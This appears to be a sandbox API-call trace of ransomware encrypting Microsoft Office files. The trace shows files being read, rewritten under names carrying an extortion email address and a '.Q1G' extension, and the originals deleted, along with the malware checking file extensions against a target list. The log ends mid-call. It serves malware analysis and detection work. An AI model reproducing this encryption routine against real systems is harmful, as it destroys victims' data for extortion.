[0254.050] WriteFile (in: hFile=0x1fc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x61210, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x61210, lpOverlapped=0x0) returned 1 [0254.057] ReadFile (in: hFile=0x390, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.057] WriteFile (in: hFile=0x1fc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xea, lpOverlapped=0x0) returned 1 [0254.058] SetEndOfFile (hFile=0x1fc) returned 1 [0254.058] CloseHandle (hObject=0x1fc) returned 1 [0254.058] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.058] SetEndOfFile (hFile=0x390) returned 1 [0254.066] CloseHandle (hObject=0x390) returned 1 [0254.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.071] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs")) returned 1 [0254.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0254.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0254.074] lstrlenW (lpString=".doc") returned 4 [0254.074] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0254.074] lstrlenW (lpString=".docx") returned 5 [0254.074] lstrcmpiW (lpString1=".docx", lpString2="G.HXS") returned -1 [0254.074] lstrlenW (lpString=".pdf") returned 4 [0254.074] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0254.074] lstrlenW (lpString=".xls") returned 4 [0254.074] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0254.074] lstrlenW (lpString=".xlsx") returned 5 [0254.074] lstrcmpiW (lpString1=".xlsx", lpString2="G.HXS") returned -1 [0254.074] lstrlenW (lpString=".ppt") returned 4 [0254.074] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0254.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0254.074] lstrlenW (lpString=".zip") returned 4 [0254.074] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0254.074] lstrlenW (lpString=".rar") returned 4 [0254.074] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0254.074] lstrlenW (lpString=".bz2") returned 4 [0254.074] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0254.074] lstrlenW (lpString=".7z") returned 3 [0254.074] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0254.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0254.074] lstrlenW (lpString=".dbf") returned 4 [0254.075] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0254.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0254.075] lstrlenW (lpString=".1cd") returned 4 [0254.075] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0254.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0254.075] lstrlenW (lpString=".jpg") returned 4 [0254.075] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0254.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0254.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0254.075] lstrlenW (lpString=".doc") returned 4 [0254.075] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0254.075] lstrlenW (lpString=".docx") returned 5 [0254.075] lstrcmpiW (lpString1=".docx", lpString2="G.HXS") returned -1 [0254.075] lstrlenW (lpString=".pdf") returned 4 [0254.075] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0254.075] lstrlenW (lpString=".xls") returned 4 [0254.075] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0254.075] lstrlenW (lpString=".xlsx") returned 5 [0254.075] lstrcmpiW (lpString1=".xlsx", lpString2="G.HXS") returned -1 [0254.075] lstrlenW (lpString=".ppt") returned 4 [0254.075] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0254.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0254.075] lstrlenW (lpString=".zip") returned 4 [0254.075] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0254.075] lstrlenW (lpString=".rar") returned 4 [0254.075] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0254.075] lstrlenW (lpString=".bz2") returned 4 [0254.075] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0254.075] lstrlenW (lpString=".7z") returned 3 [0254.075] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0254.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0254.075] lstrlenW (lpString=".dbf") returned 4 [0254.075] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0254.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0254.075] lstrlenW (lpString=".1cd") returned 4 [0254.076] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0254.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0254.076] lstrlenW (lpString=".jpg") returned 4 [0254.076] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0254.076] lstrcmpiW (lpString1=".VRD", lpString2=".Q1G") returned 1 [0254.076] lstrlenW (lpString="SPACE.VRD") returned 9 [0254.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0254.076] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=1604) returned 1 [0254.076] CloseHandle (hObject=0x200) returned 1 [0254.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd")) returned 0x20 [0254.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0254.077] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.077] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0254.077] GetLastError () returned 0x0 [0254.077] ReadFile (in: hFile=0x200, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x644, lpOverlapped=0x0) returned 1 [0254.461] WriteFile (in: hFile=0x338, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x650, lpOverlapped=0x0) returned 1 [0254.462] ReadFile (in: hFile=0x200, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.462] WriteFile (in: hFile=0x338, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0254.462] SetEndOfFile (hFile=0x338) returned 1 [0254.462] CloseHandle (hObject=0x338) returned 1 [0254.462] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.462] SetEndOfFile (hFile=0x200) returned 1 [0254.464] CloseHandle (hObject=0x200) returned 1 [0254.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.476] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd")) returned 1 [0254.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0254.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0254.492] lstrlenW (lpString=".doc") returned 4 [0254.492] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0254.492] lstrlenW (lpString=".docx") returned 5 [0254.492] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0254.492] lstrlenW (lpString=".pdf") returned 4 [0254.492] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0254.492] lstrlenW (lpString=".xls") returned 4 [0254.492] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0254.492] lstrlenW (lpString=".xlsx") returned 5 [0254.493] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0254.493] lstrlenW (lpString=".ppt") returned 4 [0254.493] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0254.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0254.493] lstrlenW (lpString=".zip") returned 4 [0254.493] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0254.493] lstrlenW (lpString=".rar") returned 4 [0254.493] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0254.493] lstrlenW (lpString=".bz2") returned 4 [0254.493] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0254.493] lstrlenW (lpString=".7z") returned 3 [0254.493] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0254.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0254.493] lstrlenW (lpString=".dbf") returned 4 [0254.493] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0254.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0254.493] lstrlenW (lpString=".1cd") returned 4 [0254.493] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0254.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0254.493] lstrlenW (lpString=".jpg") returned 4 [0254.493] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0254.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0254.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0254.493] lstrlenW (lpString=".doc") returned 4 [0254.493] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0254.493] lstrlenW (lpString=".docx") returned 5 [0254.493] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0254.493] lstrlenW (lpString=".pdf") returned 4 [0254.493] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0254.493] lstrlenW (lpString=".xls") returned 4 [0254.493] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0254.493] lstrlenW (lpString=".xlsx") returned 5 [0254.493] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0254.493] lstrlenW (lpString=".ppt") returned 4 [0254.493] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0254.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0254.494] lstrlenW (lpString=".zip") returned 4 [0254.494] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0254.494] lstrlenW (lpString=".rar") returned 4 [0254.494] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0254.494] lstrlenW (lpString=".bz2") returned 4 [0254.494] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0254.494] lstrlenW (lpString=".7z") returned 3 [0254.494] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0254.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0254.494] lstrlenW (lpString=".dbf") returned 4 [0254.494] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0254.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0254.494] lstrlenW (lpString=".1cd") returned 4 [0254.494] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0254.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0254.494] lstrlenW (lpString=".jpg") returned 4 [0254.494] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0254.494] lstrcmpiW (lpString1=".VSL", lpString2=".Q1G") returned 1 [0254.494] lstrlenW (lpString="VISCOLOR.VSL") returned 12 [0254.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0254.495] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=43392) returned 1 [0254.495] CloseHandle (hObject=0x200) returned 1 [0254.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl")) returned 0x20 [0254.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0254.495] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.495] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0254.496] GetLastError () returned 0x0 [0254.496] ReadFile (in: hFile=0x200, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0xa980, lpOverlapped=0x0) returned 1 [0254.506] WriteFile (in: hFile=0x3cc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xa990, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xa990, lpOverlapped=0x0) returned 1 [0254.508] ReadFile (in: hFile=0x200, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.508] WriteFile (in: hFile=0x3cc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.508] SetEndOfFile (hFile=0x3cc) returned 1 [0254.508] CloseHandle (hObject=0x3cc) returned 1 [0254.508] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.508] SetEndOfFile (hFile=0x200) returned 1 [0254.511] CloseHandle (hObject=0x200) returned 1 [0254.511] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.518] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl")) returned 1 [0254.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0254.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0254.531] lstrlenW (lpString=".doc") returned 4 [0254.531] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0254.531] lstrlenW (lpString=".docx") returned 5 [0254.531] lstrcmpiW (lpString1=".docx", lpString2="R.VSL") returned -1 [0254.531] lstrlenW (lpString=".pdf") returned 4 [0254.531] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0254.531] lstrlenW (lpString=".xls") returned 4 [0254.531] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0254.531] lstrlenW (lpString=".xlsx") returned 5 [0254.531] lstrcmpiW (lpString1=".xlsx", lpString2="R.VSL") returned -1 [0254.531] lstrlenW (lpString=".ppt") returned 4 [0254.531] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0254.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0254.531] lstrlenW (lpString=".zip") returned 4 [0254.531] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0254.531] lstrlenW (lpString=".rar") returned 4 [0254.531] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0254.532] lstrlenW (lpString=".bz2") returned 4 [0254.532] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0254.532] lstrlenW (lpString=".7z") returned 3 [0254.532] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0254.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0254.532] lstrlenW (lpString=".dbf") returned 4 [0254.532] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0254.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0254.532] lstrlenW (lpString=".1cd") returned 4 [0254.532] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0254.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0254.532] lstrlenW (lpString=".jpg") returned 4 [0254.532] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0254.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0254.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0254.532] lstrlenW (lpString=".doc") returned 4 [0254.532] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0254.532] lstrlenW (lpString=".docx") returned 5 [0254.532] lstrcmpiW (lpString1=".docx", lpString2="R.VSL") returned -1 [0254.532] lstrlenW (lpString=".pdf") returned 4 [0254.532] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0254.532] lstrlenW (lpString=".xls") returned 4 [0254.532] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0254.532] lstrlenW (lpString=".xlsx") returned 5 [0254.532] lstrcmpiW (lpString1=".xlsx", lpString2="R.VSL") returned -1 [0254.532] lstrlenW (lpString=".ppt") returned 4 [0254.532] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0254.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0254.532] lstrlenW (lpString=".zip") returned 4 [0254.532] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0254.532] lstrlenW (lpString=".rar") returned 4 [0254.532] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0254.532] lstrlenW (lpString=".bz2") returned 4 [0254.532] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0254.532] lstrlenW (lpString=".7z") returned 3 [0254.533] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0254.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0254.533] lstrlenW (lpString=".dbf") returned 4 [0254.533] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0254.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0254.533] lstrlenW (lpString=".1cd") returned 4 [0254.533] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0254.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0254.533] lstrlenW (lpString=".jpg") returned 4 [0254.533] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0254.533] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".Q1G") returned -1 [0254.533] lstrlenW (lpString="VISINTL.DLL.IDX_DLL") returned 19 [0254.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0254.533] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=240000) returned 1 [0254.533] CloseHandle (hObject=0x3e0) returned 1 [0254.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll")) returned 0x20 [0254.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0254.534] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.534] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0254.535] GetLastError () returned 0x0 [0254.535] ReadFile (in: hFile=0x3e0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x3a980, lpOverlapped=0x0) returned 1 [0254.573] WriteFile (in: hFile=0x3d4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x3a990, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x3a990, lpOverlapped=0x0) returned 1 [0254.578] ReadFile (in: hFile=0x3e0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.578] WriteFile (in: hFile=0x3d4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0254.578] SetEndOfFile (hFile=0x3d4) returned 1 [0254.578] CloseHandle (hObject=0x3d4) returned 1 [0254.578] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.578] SetEndOfFile (hFile=0x3e0) returned 1 [0254.737] CloseHandle (hObject=0x3e0) returned 1 [0254.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.768] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 